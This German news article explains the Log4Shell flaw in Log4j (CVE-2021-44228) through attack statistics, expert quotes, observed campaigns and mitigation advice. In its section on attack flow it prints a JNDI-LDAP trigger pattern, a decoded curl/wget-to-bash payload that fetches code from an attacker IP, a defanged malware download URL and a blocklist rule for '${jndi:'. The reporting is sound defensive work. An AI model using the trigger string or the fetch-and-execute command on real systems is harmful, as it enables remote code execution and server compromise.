Was Sie über die Log4j-Schwachstelle wissen müssen

Die Logging-Bibliothek Apache Log4j hält diverse Ereignisse im Server-Betrieb wie in einem Logbuch fest. Eine nützliche und harmlose Tätigkeit, sollte man meinen. Allerdings lässt sich die am Donnerstag auf Servern für das Online-Spiel "Minecraft" in Log4j bemerkte, Log4Shell genannte und mit der Kennung CVE-2021-44228 versehene Schwachstelle, sehr leicht ausnutzen: Es reicht bereits, dass in dem Log eine bestimmte Zeichenfolge gespeichert wird. Angreifer könnten dann unter Umständen bereits Softwarecode auf den Servern ausführen. In der CVE-Datenbank wurde der Schweregrad der Lücke mit 10 von 10 bewertet. Das BSI hat die Warnstufe "Rot" ausgerufen.

Die Lücke ist jedoch nicht nur leicht auszunutzen, sondern auch sehr weit verbreitet: Sie steckt in einige Versionen einer viel benutzten Bibliothek für die Java-Software. Allerdings ist die Bibliothek aus Sicht der meisten Anwender bislang so selbstverständlich und alltäglich gewesen, dass kaum jemand den Überblick hat, wo sie überall genutzt wird und welche Version eingesetzt wird. Betroffen sind laut Kaspersky die Versionen 2.0-beta9 bis 2.14.1.

Die Kombination aus großer Verbreitung und einfacher Ausnutzbarkeit macht sie für Angreifer sehr attraktiv. Eine bereits jetzt scheinbar endlose und dennoch laufend länger werdende Liste der betroffenen Hersteller und Produkte - von Akamai bis Zscaler - gibt es bei GitHub.

Die Sicherheitsforscher von Check Point Software haben inzwischen weltweite Zahlen zur Anzahl der attackierten Netzwerke erhoben. Sie greifen dafür auf Daten ihrer eigenen Produkte zurück. Demnach wurden in Deutschland 45 Prozent aller von Check Point erfassten Firmennetzwerke attackiert, in Österreich waren es 46 Prozent und in der Schweiz 40 Prozent.

Die DACH-Region liegt damit am oberen Ende des Spektrums: Weltweit liegt der Schnitt bei 40 Prozent, in Europa bei 42,2 Prozent. 72 Stunden nach der ersten Attacke hatte Check Point rund 846.000 Angriffe registriert, 46 Prozent davon gingen von bekannten Hacker-Gruppen aus. Außerdem identifizierten die Sicherheitsexperten über 60 Varianten der Attacke.

Bedenklich ist, dass IT-Dienstleister bei den Angreifern - nach den Attacken auf Solarwinds und Kaseya wieder einmal - hoch im Kurs stehen. Offenbar hoffen die Angreifer, dass die im Rahmen der erbrachten Services auch viele Logs erstellen und dazu oft Log4j verwenden. Ein deutscher Anbieter, ServerEye, hat seine Systeme bereits überprüft und keine Ansatzpunkte für eine Attacke gefunden.

Warum die Log4j-Schwachstelle so gefährlich ist

"Die Schwachstelle Log4Shell erinnert uns daran, dass jedes moderne Computersystem aus hunderten und tausenden von Komponenten besteht. Das größte Risiko kann dabei auch von denjenigen Komponenten ausgehen, bei denen man dies am wenigsten erwartet hätte. Unabhängig davon, ob es sich um Open-Source- oder Closed-Source-Software handelt", erklärt Phil Leatham, Senior Account Executive für YesWeHack Deutschland.

"In diesem speziellen Fall erweist sich ausgerechnet eine Komponente, die von fast allen Systemen - oft ohne es zu wissen - für eine so harmlose und normalerweise 'unangreifbare' Funktion wie die Protokollierung verwendet wird, als Achillesferse des Internets."

"Die Schwachstelle lässt sich verhältnismäßig einfach auszunutzen, Angriffe können leicht verschleiert werden", betont auch Lothar Hänsler, COO bei Radar Cyber Security. "Zudem sind Verteidigungsmaßnahmen nicht einfach umzusetzen. Dies liegt unter anderem daran, dass alle Mitigationsstrategien Risiken und Nebenwirkungen auf die Applikationen haben können, die von der Schwachstelle betroffen sind. Die Einschätzungen in den Expertenkreisen stellen sich allerdings sehr dynamisch dar. Dadurch liegen auch unterschiedliche Sichtweisen zu den Mitigationsstrategien vor."

"Log4Shell stellt Verteidiger vor eine besondere Herausforderung", betont Sean Gallagher, Senior Threat Researcher bei Sophos. "Viele Softwareschwachstellen sind auf ein bestimmtes Produkt oder eine bestimmte Plattform beschränkt, beispielsweise die ProxyLogon- oder ProxyShell-Schwachstellen in Microsoft Exchange. Sobald die Verteidiger wissen, welche Software anfällig ist, können sie die überprüfen und patchen. Log4j ist jedoch eine Bibliothek, die von vielen Produkten verwendet wird. Es kann daher in den dunkelsten Ecken der Infrastruktur einer Organisation präsent sein, zum Beispiel in jeder selbst entwickelten Software. Das Auffinden aller Systeme, die aufgrund von Log4Shell anfällig sind, sollte eine Priorität für die IT-Sicherheit sein."

Security-Anbieter und -Experten überbieten sich deshalb mit Superlativen und drastischen Bildern, um die von der Schwachstelle in Log4j ausgehende Gefahr angemessen zu beschreiben. "Es handelt sich um eine der schwerwiegendsten Sicherheitslücken der letzten Jahre, die sich wie ein Lauffeuer verbreitet", erklärt etwa Lotem Finkelstein, Head of Threat Intelligence bei Check Point Software. "Die Vielfalt der Kombinationen, wie die Schwachstelle ausgenutzt werden kann, gibt dem Angreifer viele Möglichkeiten, neu eingeführte Schutzmaßnahmen zu umgehen. Das bedeutet, dass eine Schutzschicht nicht ausreicht und nur eine mehrschichtige Sicherheitsarchitektur eine widerstandsfähige Abwehr bietet." Sein Unternehmen spricht deshalb schon von einer "Cyber-Pandemie".

Tenable bezeichnet die Situation als "Fukushima-Moment". CEO Amit Yoran sagt: "Die Apache Log4j Remote Code Execution Vulnerability ist die größte und kritischste Schwachstelle des letzten Jahrzehnts. Wenn alle Untersuchungen abgeschlossen sind, könnten wir tatsächlich feststellen, dass es sich um die größte einzelne Schwachstelle in der Geschichte des modernen Computing handelt."

Bereits Hunderttausende von Angriffsversuchen

Eigenen Angaben zufolge entdeckt Tenable bereits jetzt "jede Minute neue Anwendungen, die Log4j auf die eine oder andere Weise nutzen. Das betrifft nicht nur den Code, den Unternehmen erstellen, sondern auch die Systeme von Drittanbietern, die sie im Einsatz haben. Alles, vom neuen Drucker, den sie für ihr Büro gekauft haben, bis hin zum Ticketing-System, das sie gerade eingerichtet haben, ist potenziell von dieser Schwachstelle betroffen."

Auch Sophos verzeichnet eine rasche Zunahme von Angriffen, die die Sicherheitslücke ausnutzen oder versuchen, sie auszunutzen. Der Anbieter hat bereits „Hunderttausende von Versuchen“ erkannt. Am häufigsten gingen die von Cryptomining-Botnetze aus. Sie konzentrieren sich auf Linux-Serverplattformen, die der Schwachstelle besonders ausgesetzt sind. Etwa 90 Prozent der von Sophos erkannten "Testläufe"konzentrierten sich auf das Lightweight Directory Access Protocol (LDAP).

Eine kleinere Anzahl zielte auf Javas Remote Interface (RMI) ab, wobei es in diesem Bereich anscheinend eine größere Vielfalt einzigartiger, RMI-bezogener Versuche gibt. Außerdem gab es bereits Versuche, Informationen aus Diensten zu extrahieren, unter anderem Amazon-Web-Services-Schlüssel. Wenig überraschend erwartet Sophos, "dass Angreifer in den kommenden Tagen und Wochen ihre Angriffsmethoden intensivieren und diversifizieren, einschließlich der Möglichkeit, Ransomware zu nutzen."

Was Angreifer über Log4Shell bereits versucht haben

Die Bitdefender Labs beobachten ebenfalls zahlreiche Angriffe, die versuchen die Schwachstelle in Log4j ausnutzen. Erfolgreich waren bereits Angriffe zum Einbetten von Kryptominern, Ransomware-Attacken wurden versucht. Dabei setzen die Cyberkriminellen eine neue Khonsari genannte Ransomware-Familie ein. Außerdem attackieren sie inzwischen auch Microsoft-Windows-Systeme. Zunächst standen Linux-Server im Visier der Angreifer.

Über die Schwachstelle versuchten Angreifer bereits auch den Remote Access Trojaner (RAT) Orcus zu implementieren und damit Shellcode von hxxp://test.verble.rocks/dorflersaladreviews.bin.encrypted herunterzuladen und im Speicher des conhost.exe-Prozesses zu injizieren. "Dieser Shellcode entschlüsselt und lädt andere bösartige Payload in den Speicher nach, der Orcus an die Command-and-Control-Server anbindet", erklärt Bitdefender.

Dass die Angreifer es nicht nur auf den unmittelbaren Erfolg abgesehen haben, zeigt sich daran, dass sie mit Reverse Bash Shells teilweise auch versuchen, für spätere Folgeaktionen Zugriff auf Systeme zu erhalten. "In der Folge sind mit hoher Wahrscheinlichkeit umfassendere Angriffe zu erwarten", warnt Bitdefender.

Sicherheitsbewusste besonders gefährdet

Die Ironie der Schwachstelle bestehe darin, dass sie es Angreifern ermöglichen könnte, genau die Logging-Praktiken auszunutzen, die das Aushängeschild für solide Sicherheitspraktiken sind, erklärt Tenable: Je sicherer ein Unternehmen ist, desto mehr protokolliert es jede Aktion, was bedeutet, dass es auf einem größeren Pool von Logging-Daten sitzt, die potenziell ausgenutzt werden können.

"Die ausgereiftesten Sicherheitsorganisationen erfassen in der Regel die größte Menge an Protokolldaten, um effektiv auf Vorfälle reagieren und Sicherheitsmaßnahmen ergreifen zu können", sagt Bernard Montel, EMEA Technical Director und Chief Cybersecurity Strategist bei Tenable. "Das Kernproblem von Log4j ist, dass man es ausnutzen kann, wenn man es dazu bringt, beliebige Spuren zu protokollieren. Tenable hat es mit sehr unsicheren Daten zu tun, und die Bibliothek behandelt sie aus irgendeinem Grund so, als wären sie bereinigt worden."

Wie Angreifer die Sicherheitslücke in Log4j ausnutzen

"Technologien wie IPS, WAF und intelligente Netzwerkfilterung tragen dazu bei, diese globale Schwachstelle unter Kontrolle zu bringen" empfiehlt Paul Ducklin, IT-Security-Experte bei Sophos. Er warnt aber auch, die Gefahr nicht zu unterschätzen: "Die unglaubliche Anzahl verschiedener Möglichkeiten, wie der Log4Shell-Triggertext kodiert werden kann, die große Anzahl verschiedener Stellen im Netzwerkverkehr, an denen diese Zeichenfolgen auftreten können, und die große Vielfalt an Servern und Diensten, die betroffen sein könnten, machen Log4Shell zu einer ganz besonderen Herausforderung für Sicherheitsexperten."

Der Managed Security Provider Security HQ hat bereits ausführlich dargelegt, wie ein Angriff seiner Ansicht nach vermutlich ablaufen könnte. Erkannt werden könnte so ein Angriffsversuch demnach anhand von Anfragen in den Web-Server-Logs, die nach folgendem Muster aufgebaut sind: "${jndi:ldap://[insert Attacker IP]/ A]}", wobei "Attacker IP" den Kontrollserver bezeichnet und "A" der genutzte Command String. Anwender sollten daher nach "${jndi:ldap" in Web-Server-Anfragen Ausschau halten.

Ist der Angreifer erfolgreich, zeigt sich das an einem 20X Web Server Response Code. Der Server versucht dann, die Software vom Kontrollserver zu holen und auf dem Zielsystem auszuführen. Ein decodierter String, der das auslöst könnte dann in etwa so aussehen:

((curl -s 45.155.205.233:5874/54.195.244.71:443||wget -q O-45.155.205.233:5874/54.195.244.71:443)|bash )

Gelingt auch das, kann der Angreifer nahezu alle Tools und Frameworks nach Belieben für seine Zwecke nutzen - inklusive PowerShell um auf dem Server Code aus der Ferne auszuführen und Zugriff zu erlangen. Security HQ gehen Angreifer dann wahrscheinlich wie bei der Sicherheitslücke Hafnium und den früher in diesem Jahr bekannt gewordenen Exchange-Schwachstellen vor: Sie dürften also versuchen, lokale Nutzerkonten anzulegen, auf andere Systeme überzugreifen("lateral movement") und Privilegien auszuweiten.

Wie sich Anwender schützen können

Sollte der Web Server auf die Anfrage geantwortet haben, empfehlen die Experten von Security HQ, ihn vom Internet zu trennen und die erkannten IOCs (indicators of compromise) an der Firewll zu blockieren. Außerdem sollten Unternehmen den Hersteller kontaktieren um ihn zum patchen der Schwachstelle aufzufordern oder andere Möglichkeiten zum Umgang damit anzubieten.

Sollte ein Patch nicht möglich sein, empfiehlt Security HQ folgende Einstellungen vorzunehmen:

com.sun.jndi.rmi.object.trustURLCodebase auf "false" setzen

com.sun.jndi.cosnaming.object.trustURLCodebase auf "false" setzen

Requests und User Agent Strings die ${jndi: oder base64 enthalten über eine Blacklist blockieren.

LDAP-Zugriffe über JNDI unterbinden

Lizenzgeber Apache hat bereits einen Sicherheitshinweis veröffentlicht. Wichtigste Maßnahme ist das Upgrade auf Apache Log4j 2.15.0. Offenbar ist jede Version von 2.14.1 und früher anfällig. Log4j 1.x wird nicht mehr mit Updates versorgt wird. Auch dafür wird daher ein Upgrade dringen empfohlen.

Wer Log4j 2.10.0 oder höher verwendet, aber nicht aktualisieren kann, sollte den Konfigurationswert log4j2.formatMsgNoLookups auf "true" setzen. Das verhindert ausgehende LDAP-Abfragen von vornherein. Außerdem sollten Nutzer JNDI-Anfragen an nicht vertrauenswürdige Server unbedingt unterbinden.

Jonathan Tanner, Senior Security Researcher bei Barracuda Networks, empfiehlt Anwendern zuerst zu prüfen, ob eine Version von log4j vor 2.15.0 verwendet wird, auch in den Abhängigkeiten. Dazu eigneten sich die auf Java basierenden Build-Management-Tools Maven und Gradle. Sie bieten die Möglichkeit, den gesamten Abhängigkeitsbaum für ein Projekt auszudrucken.

Tanner weiter: "So lässt sich feststellen, ob eine verwundbare Version von Log4j verwendet wird oder nicht. Auch mit Version 2.15.0 oder höher sollte man sicherstellen, dass die Systemeigenschaft formatMsgNoLookups nicht auf 'true' gesetzt ist. Denn diese Version ist nur deshalb nicht verwundbar, weil sie den Standardwert von 'true' auf 'false' gesetzt hat."

Wenn LDAP nicht als Teil der legitimen Nutzung benötigt wird, sei es auch möglich, den gesamten LDAP-Verkehr mit einer Firewall oder einem Web Application Filter zu blockieren, um zu verhindern, dass Remote-Code erreicht wird, falls die Schwachstelle ausgenutzt wird.

Herauszufinden, ob ein System wirklich für einen Angriff anfällig ist oder nicht, sei jedoch eine kompliziertere Angelegenheit. Denn im Grunde genommen könne jeder Ort, an dem Eingaben eines Benutzers protokolliert werden, für diesen Angriff anfällig sein. Man müsste laut Tanner also versuchen, einen Weg zu finden, eine JNDI-LDAP-Anfrage innerhalb der Protokolle aus dem Benutzerkontext selbst zu stellen, zum Beispiel über die Website oder die API.

Log4j betrifft nicht nur Unternehmen

Offenbar kann auch der zugrundeliegende Java Build verhindern, dass der Fehler ausgenutzt wird. Apache listet beispielsweise Oracle Java 8u121 als sicher auf. Erste Security-Anbieter erkennen die Angriffe zudem bereits und blockieren sie. Kaspersky-Produkte reagieren auf die Schwachstelle etwa mit der Kennung "UMIDS:Intrusion.Generic.CVE-2021-44228" und "PDM:Exploit.Win32.Generic".

Sophos weist zudem darauf hin, dass auch private Nutzer von den Auswirkungen der Lücke Log4Shell betroffen sein können, etwa, wenn sie für ein Blog, ein Forum oder eine private Webseite Cloud-Server nutzen, die von einem Hosting-Unternehmen oder einem Managed Service Provider betrieben werden.

"Hier gilt es nun zunächst einmal herauszufinden, ob diese Services angreifbar und wann Patches geplant sind", empfiehlt Sophos. Dabei sei es derzeit sicher sinnvoller, "auf den entsprechenden Webseiten nach Informationen zu suchen, da die Anbieter höchstwahrscheinlich momentan von E-Mails überflutet werden."

Was wir aus der Sicherheitslücke in Log4j lernen können

"Die Zero-Day-Lücke in Log4j ist hochgefährlich, da sie ohne explizites Nachladen von Schadcode direkt ausnutzbar ist", sagt Paul Smit, Director Professional Services bei ForeNova. "Gerade jetzt zeigt sich auch für kleine und mittlere Unternehmen die Notwendigkeit, Network Detection and Response und Endpoint Detection and Response gemeinsam als umfassende Abwehrstrategie zu denken."

EDR sieht, ob die Malware installiert wurde und organisiert die Abwehr auf dem Endpunkt. Mit NDR lässt sich in Logging-Daten auch rückwirkend sehen, auf welche Systeme Angreifer von außen Hacker zuzugreifen versuchten. Smit weiter: "NDR sieht auch typischen Datenverkehr, der aus einem solchen Zugriffsversuch resultiert, etwa die Kommunikation mit den C2C-Servern, Port Scanning und spezifischen Datenverkehr. NDR erlaubt auch das Blocken und Segmentieren von Netzwerken oder die Quarantäne von Systemen - eine im Zweifelsfall unbedingt zu treffende Maßnahme."

Nach Ansicht von Bernard Montel, EMEA Technical Director und Chief Cybersecurity Strategist bei Tenable, wirft die auch "Log4Shell" genannte Sicherheitslücke in Apache Log4j, "ein grelles Licht auf die riskante Praxis, sich bei der Entwicklung von Unternehmensanwendungen auf Open-Source-Codebibliotheken zu verlassen." Diese Bibliotheken seien oft nicht in der Lage, einen sicherheitsorientierten Ansatz zu verfolgen.

"Diese Abhängigkeit von einem Wilden Westen von Code-Bibliotheken wird Unternehmen weiterhin verwundbar machen, bis Zeit und Ressourcen investiert werden, um sie sicherer zu machen", mahnt Montel. Ziel müsse es sein, sicherzustellen, dass dabei bei jedem Schritt im Entwicklungslebenszyklus ein Sicherheitsdesign vorhanden ist.

Jonathan Tanner, Senior Security Researcher bei Barracuda Networks, sieht Open Source etwas weniger kritisch: "Auch wenn Open-Source-Software die meisten Schlagzeilen macht, wenn größere Sicherheitslücken gefunden werden, bedeutet dies nicht, dass sie verhältnismäßig weniger sicher ist. Die weite Verbreitung erhöht lediglich die Wahrscheinlichkeit, dass Schwachstellen gefunden werden, nicht unbedingt die Wahrscheinlichkeit, dass sie existieren."

Bei der Wahl von Open-Source-Bibliotheken sollten Unternehmen Tanner zufolge große, seriöse und gut gewartete Projekte wählen, zu denen er Log4j zählt. "Natürlich kann es immer noch Schwachstellen geben, aber es ist wahrscheinlicher, dass die Community diese Schwachstellen findet und ausbessert und auch überprüft, dass der Code frei von Fehlern ist, die überhaupt erst Schwachstellen verursachen könnten, als bei kleineren Projekten."

Auch für Anwendungen, die Log4j gar nicht für die Protokollierung verwenden, ist die Schwachstelle ein Weckruf, meint Barracuda-Networks-Experte Tanner. Denn nun sei klar, dass Log-Injection eine potenzielle Methode ist, die Angreifer nutzen können. "Es lohnt sich, zu überprüfen, ob alle Benutzereingaben, die protokolliert werden, in jeder Anwendung ordnungsgemäß bereinigt werden, unabhängig davon, welches Protokollierungssystem oder sogar welche Programmiersprache verwendet wird."

Politik soll Security by Design und Security by Default fördern

"Die Bedrohung für unsere Gesellschaft und Wirtschaft durch Cyberangriffe hat durch die Log4J-Sicherheitslücke ein neues, erschreckendes Level erreicht, weil hier IT-Plattformen und -Infrastrukturen involviert sind und somit extrem viele Nutzer betroffen werden", sagt Norbert Pohlmann, Vorstand IT-Sicherheit beim eco-Verband. Er betont, dass IT-Sicherheit das zentrale Element für die Digitalisierung ist.

Daher sei es wichtig, dass die Politik gemeinsam im Dialog mit Anwendern und Anbietern einen gemeinsamen Ansatz für mehr IT-Sicherheit verfolgt. "Im Koalitionsvertrag der Ampelparteien sehe ich bereits erste gute Ansätze: Dies zeigt sich durch klare Anforderungen wie Security by Design/Default und dem erhöhten Einsatz von Verschlüsselung", erklärt Pohlmann. Allerdings fügt er hinzu: "Diese Ansätze müssen jetzt dringend vom Papier in die Praxis umgesetzt werden."